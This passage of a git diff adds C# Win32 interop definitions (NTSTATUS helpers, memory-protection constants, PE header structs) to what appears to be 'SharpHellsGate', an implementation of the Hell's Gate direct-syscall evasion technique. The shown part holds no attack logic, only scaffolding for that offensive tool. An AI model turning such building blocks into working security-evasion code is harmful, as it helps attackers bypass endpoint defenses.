NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF; + public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF; + + // Common NTSTATUS + public static UInt32 STATUS_SUCCESS { get; } = 0x00000000; + public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001; + public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002; + + // Portable Executable + public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ + public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00 + + // Pseudo-Handles + public static IntPtr GetCurrentProcess() => new IntPtr(-1); + public static IntPtr GetCurrentThread() => new IntPtr(-2); + public static IntPtr GetCurrentProcessToken() => new IntPtr(-4); + public static IntPtr GetCurrentThreadToken() => new IntPtr(-5); + public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6); + + // Page and Memory permissions + public static UInt32 PAGE_NOACCESS { get; } = 0x01; + public static UInt32 PAGE_READONLY { get; } = 0x02; + public static UInt32 PAGE_READWRITE { get; } = 0x04; + public static UInt32 PAGE_WRITECOPY { get; } = 0x08; + public static UInt32 PAGE_EXECUTE { get; } = 0x10; + public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20; + public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40; + public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80; + public static UInt32 PAGE_GUARD { get; } = 0x100; + public static UInt32 PAGE_NOCACHE { get; } = 0x200; + public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400; + public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800; + public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000; + public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000; + public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000; + public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000; + public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000; + public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000; + public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000; + public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000; + public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000; + public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000; + public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000; + public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000; + public static UInt32 MEM_COMMIT { get; } = 0x00001000; + public static UInt32 MEM_RESERVE { get; } = 0x00002000; + public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000; + public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000; + public static UInt32 MEM_RESET { get; } = 0x00080000 ; + public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000; + public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000; + public static UInt32 MEM_PHYSICAL { get; } = 0x00400000; + public static UInt32 MEM_ROTATE { get; } = 0x00800000; + public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000; + public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000; + public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000; + public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000; + public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL); + public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001; + public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001; + public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002; + public static UInt32 MEM_DECOMMIT { get; } = 0x00004000; + public static UInt32 MEM_RELEASE { get; } = 0x00008000; + public static UInt32 MEM_FREE { get; } = 0x00010000; + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs new file mode 100644 index 0000000..63c5d70 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs @@ -0,0 +1,128 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpHellsGate.Win32 { + public static class Structures { + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_DOS_HEADER { + public UInt16 e_magic; /*+0x000*/ + public UInt16 e_cblp; /*+0x002*/ + public UInt16 e_cp; /*+0x004*/ + public UInt16 e_crlc; /*+0x006*/ + public UInt16 e_cparhdr; /*+0x008*/ + public UInt16 e_minalloc; /*+0x00a*/ + public UInt16 e_maxalloc; /*+0x00c*/ + public UInt16 e_ss; /*+0x00e*/ + public UInt16 e_sp; /*+0x010*/ + public UInt16 e_csum; /*+0x012*/ + public UInt16 e_ip; /*+0x014*/ + public UInt16 e_cs; /*+0x016*/ + public UInt16 e_lfarlc; /*+0x018*/ + public UInt16 e_ovno; /*+0x01a*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public UInt16[] e_res; /*+0x01c*/ + public UInt16 e_oemid; /*+0x024*/ + public UInt16 e_oeminfo; /*+0x026*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public UInt16[] e_res2; /*+0x028*/ + public UInt32 e_lfanew; /*+0x03c*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER { + public UInt16 Machine; /*+0x000*/ + public UInt16 NumberOfSections; /*+0x002*/ + public UInt32 TimeDateStamp; /*+0x004*/ + public UInt32 PointerToSymbolTable; /*+0x008*/ + public UInt32 NumberOfSymbols; /*+0x00c*/ + public UInt16 SizeOfOptionalHeader; /*+0x010*/ + public UInt16 Characteristics; /*+0x012*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_DATA_DIRECTORY { + public UInt32 VirtualAddress; /*+0x000*/ + public UInt32 Size; /*+0x004*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER64 { + public UInt16 Magic; /*+0x000*/ + public Byte MajorLinkerVersion; /*+0x002*/ + public Byte MinorLinkerVersion; /*+0x003*/ + public UInt32 SizeOfCode; /*+0x004*/ + public UInt32 SizeOfInitializedDatal; /*+0x008*/ + public UInt32 SizeOfUninitializedData; /*+0x00c*/ + public UInt32 AddressOfEntryPoint; /*+0x010*/ + public UInt32 BaseOfCode; /*+0x014*/ + public UInt64 ImageBasel; /*+0x018*/ + public UInt32 SectionAlignment; /*+0x020*/ + public UInt32 FileAlignment; /*+0x024*/ + public UInt16 MajorOperatingSystemVersion; /*+0x028*/ + public UInt16 MinorOperatingSystemVersion; /*+0x02a*/ + public UInt16 MajorImageVersion; /*+0x02c*/ + public UInt16 MinorImageVersion; /*+0x02e*/ + public UInt16 MajorSubsystemVersion; /*+0x030*/ + public UInt16 MinorSubsystemVersion; /*+0x032*/ + public UInt32 Win32VersionValue; /*+0x034*/ + public UInt32 SizeOfImage; /*+0x038*/ + public UInt32 SizeOfHeaders; /*+0x03c*/ + public UInt32 CheckSum; /*+0x040*/ + public UInt16 Subsystem; /*+0x044*/ + public UInt16 DllCharacteristics; /*+0x046*/ + public UInt64 SizeOfStackReserve; /*+0x048*/ + public UInt64 SizeOfStackCommit; /*+0x050*/ + public UInt64 SizeOfHeapReserve; /*+0x058*/ + public UInt64 SizeOfHeapCommit; /*+0x060*/ + public UInt32 LoaderFlags; /*+0x068*/ + public UInt32 NumberOfRvaAndSizes; /*+0x06c*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_NT_HEADERS64 { + public UInt32 Signature; /*+0x000*/ + public IMAGE_FILE_HEADER FileHeader; /*+0x004*/ + public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_EXPORT_DIRECTORY { + public UInt32 Characteristics; /*+0x000*/ + public UInt32 TimeDateStamp; /*+0x004*/ + public UInt16 MajorVersion; /*+0x008*/ + public UInt16 MinorVersion; /*+0x00a*/ + public UInt32 Name; /*+0x00c*/ + public UInt32 Base; /*+0x010*/ + public UInt32 NumberOfFunctions; /*+0x014*/ + public UInt32 NumberOfNames; /*+0x018*/ + public UInt32 AddressOfFunctions; /*+0x01c*/ + public UInt32 AddressOfNames; /*+0x020*/ + public UInt32 AddressOfNameOrdinals; /*+0x024*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_SECTION_HEADER { + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] + public string Name; /*+0x000*/ + public UInt32 Misc; /*+0x008*/ + public UInt32 VirtualAddress; /*+0x00c*/ + public UInt32 SizeOfRawData; /*+0x010*/ + public UInt32 PointerToRawData; /*+0x014*/ + public UInt32 PointerToRelocations; /*+0x018*/ + public UInt32 PointerToLinenumbers; /*+0x01c*/ + public UInt16 NumberOfRelocations; /*+0x020*/ + public UInt16 NumberOfLinenumbers; /*+0x022*/ + public UInt32 Characteristics; /*+0x024*/ + } + + [StructLayout(LayoutKind.Explicit, Size = 1)] + public struct LARGE_INTEGER { + [FieldOffset(0)] public Int64 QuadPart; /*+0x000*/ + [FieldOffset(0)] public UInt32 LowPart; /*+0x000*/ + [FieldOffset(4)] public UInt32 HighPart; /*+0x004*/ + } + } +} diff --git a/Hells Gate/HellsGate.pdf b/Hells Gate/HellsGate.pdf new file mode 100644 index 0000000..5cfa4e0 Binary files /dev/null and b/Hells Gate/HellsGate.pdf differ